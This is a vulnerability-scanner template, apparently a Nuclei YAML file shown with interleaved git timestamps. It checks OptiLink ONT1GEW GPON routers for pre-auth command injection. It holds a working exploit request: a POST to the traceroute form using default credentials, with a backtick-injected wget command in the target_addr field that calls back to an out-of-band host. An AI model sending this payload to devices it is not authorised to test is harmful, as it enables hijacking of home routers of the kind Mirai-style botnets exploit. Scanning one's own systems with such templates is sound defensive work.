2021-07-15 17:45:22 +00:00
id : optilink-ont1gew-gpon-rce
2021-07-15 05:57:34 +00:00
info :
name : OptiLink ONT1GEW GPON - Pre-Auth Remote Code Execution
author : gy741
severity : critical
description : vulnerabilities in the web-based management interface of OptiLink could allow an authenticated, remote attacker to perform command injection attacks against an affected device.
2021-08-18 11:37:49 +00:00
reference :
2021-07-15 05:57:34 +00:00
- https://packetstormsecurity.com/files/162993/OptiLink-ONT1GEW-GPON-2.1.11_X101-Remote-Code-Execution.html
- https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
2021-10-18 20:40:26 +00:00
tags : optiLink,rce,oast
2021-07-15 05:57:34 +00:00
requests :
- raw :
- |
POST /boaform/admin/formTracert HTTP/1.1
2021-09-08 12:17:19 +00:00
Host : {{Hostname}}
2021-07-15 05:57:34 +00:00
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type : application/x-www-form-urlencoded
2021-09-08 12:17:19 +00:00
Origin : {{BaseURL}}
Referer : {{BaseURL}}/diag_ping_admin_en.asp
2021-07-15 05:57:34 +00:00
User : e8c
Password : e8c
2021-07-15 17:45:22 +00:00
2021-07-15 05:57:34 +00:00
target_addr="1.1.1.1+`wget+http%3A%2F%2F{{interactsh-url}}%2F`"&waninf=127.0.0.1"
matchers :
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"
